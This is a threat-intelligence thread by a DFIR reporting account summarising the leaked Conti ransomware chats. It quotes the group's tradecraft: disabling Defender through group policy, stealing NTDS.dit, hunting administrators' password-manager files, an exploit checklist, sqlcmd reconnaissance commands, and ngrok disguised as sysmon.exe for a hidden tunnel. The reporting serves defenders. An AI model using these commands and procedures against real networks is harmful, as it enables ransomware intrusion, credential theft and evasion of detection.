Thread by @TheDFIRReport

Here's a thread on some of the interesting things we've seen in the #ContiLeaks.

If you would like to read the chat logs and TrickBot Forum information, @Kostastsale has translated them to English here: github.com/tsale/translat…. He will be adding more as things get leaked.

New chat logs from the 26 Feb to the 28 Feb were released. It included an entertaining exchange where the user "pumba" was not happy with their work partner "tramp" (also referred to as “trump”). “Pumba” ends the conversation by asking to be moved to another team. #ContiLeaks

Leaked Bazar Bot panels show hundreds of past infected clients. Entries contain comments that include reconnaissance of revenue, and tracking work to be done. #ContiLeaks

Additional infrastructure has been identified including the source code and configurations of many of their sites. Iptable rules and nginx configuration leak more IP addresses! Files contain Postgres passwords to their storage #ContiLeaks

Can relate - #ImposeCost or infra problems? #ContiLeaks

Possible Conti v2 locker/decryptor. Folder is password protected. #ContiLeaks

Even threat actors use code control! GitLab Server IP and token. #ContiLeaks

Threat actors potentially talking about a developer who worked on Trickbot and Bazar. #ContiLeaks

Potentially more proof on Trickbot dying off. #ContiLeaks

Threat actors talking about Zerologon on the Trickbot forum. Look familiar? thedfirreport.com/2022/02/21/qbo… thedfirreport.com/2021/11/01/fro… #ContiLeaks

"Tor backdoor" #ContiLeaks

FileZilla discussion

"On networks where there are no DLP systems, you can simply download Filezilla portable and download all cartoons without ads!11
But you only need to use the SFTP protocol, that is, through port 22, not through 21" #ContiLeaks

Disabling Defender using GPO

"If you have only a defender in your network, then it is extinguished using the link above. It's right there in the pictures. Easier nowhere. Went to DC, created a policy
" #ContiLeaks

"Hyper V"

"it’s easier than with the sphere and proxmox, we fly into the virtuoso management manager, look in it where are the cars (Shares, AD) and compare with the list that was removed, if the entire infrastructure is on virtual machines, then just turn off..." #ContiLeaks

Disabling notifications on Synology servers before ransom #ContiLeaks

"Change RDP port" #ContiLeaks

"NTDS Dumping"

We reported on this technique multiple times - thedfirreport.com/?s=ac+i+ntds #ContiLeaks

Another method to steal a copy of ntds.dit using shadow copy, wmic, 7zip, and esentutl. #ContiLeaks

"Hunt Administrator"

"Of course, we are interested in seniors because they have more privileges/accesses (read passwords)."

#ContiLeaks

"Hunt Administrator Part 2"

"Firstly, how the software works - it asks where the user is at least somehow authorized at the moment. And our user is not simple - he is an administrator and at some point he can be authorized on 20-30-50 servers."

#ContiLeaks

"Hunt Administrator Part 2"

"Also, system administrators FREQUENTLY meet the following folders in AppData\Roaming && AppData\Local:
Keepass
LastPass
their configs are there."

#ContiLeaks

"Hunt Administrator Part 2"

"Why the manual was written - so as not to try headlong to go raise the session and catch alerts from the admin.
Our job is rather to figure out what works, rather than setting up brute force for all kinds of access."

"powerupsql"

TAs testing/talking about PetitPotam by @topotam77

"I did this manu, suddenly it will help someone. bussink.net/ad-cs-exploit-…"

"Has anyone smoked this github.com/topotam/PetitP…"

#ContiLeaks

@topotam77 Few conversations about using this #Zerologon exploit github.com/nccgroup/nccfs… by @NCCGroupInfosec:

"it's better to check with SharpZerologon, it's more reliable"

#ContiLeaks

It seems the TAs had a common set of exploits they usually tried including:

eternalblue ms17-010
bluekeep CVE- 2019-0708
smbghost cve-2020-0796

#ContiLeaks

winPEAS by @carlospolopm getting a few call outs.

Also mentions of seatbelt, inveigh by @kevin_robertson and rebeus.

"Run ad_find, seatBelt, ChromeSharp, winpeas, rebeus, Inveit, tried every possible exploit."

#ContiLeaks

Step by step instructions by "tl1"

1. Collect domain and the environment info
2. Collect AD info
3. seatbelt, WinPEAS, GPP, ShareFinder, Kerberoast, asreproast, zerologon
4. Persistence during ShareFinder exec
5. Lateral movement if possible

sqlcmd

"see who is working with the database (hosts and users from where they connected to it)"

shell sqlcmd -S localhost -Q "select loginame, hostname from sys.sysprocesses"

shell sqlcmd -S localhost -E -Q "use %databasename%; exec sp_tables" -W

#ContiLeaks

A couple mentions of SessionGopher by @arvanaghi

"it turned out that no one listens to me so I say it again to all who have eyes and ears use session gopher domain-width before locking"

h/t to @seadev3 for pointing that out

"NGROK v2 (only official solution)"

Rename-Item -Path "C:\Windows\tmp\ngrok.exe" -NewName "sysmon.exe"

.\nssm.exe install sysmon C:\Windows\tmp\sysmon.exe start --all --region us --config "C:\Windows\tmp\config.yml" --log "false"

#ContiLeaks

"Stops everything that is possible. VERY useful when locking when you need to lock servers nearby that are busy with DBs and other applications."

If you're detecting the below commands, its too late. Try to detect earlier in the attack lifecycle.
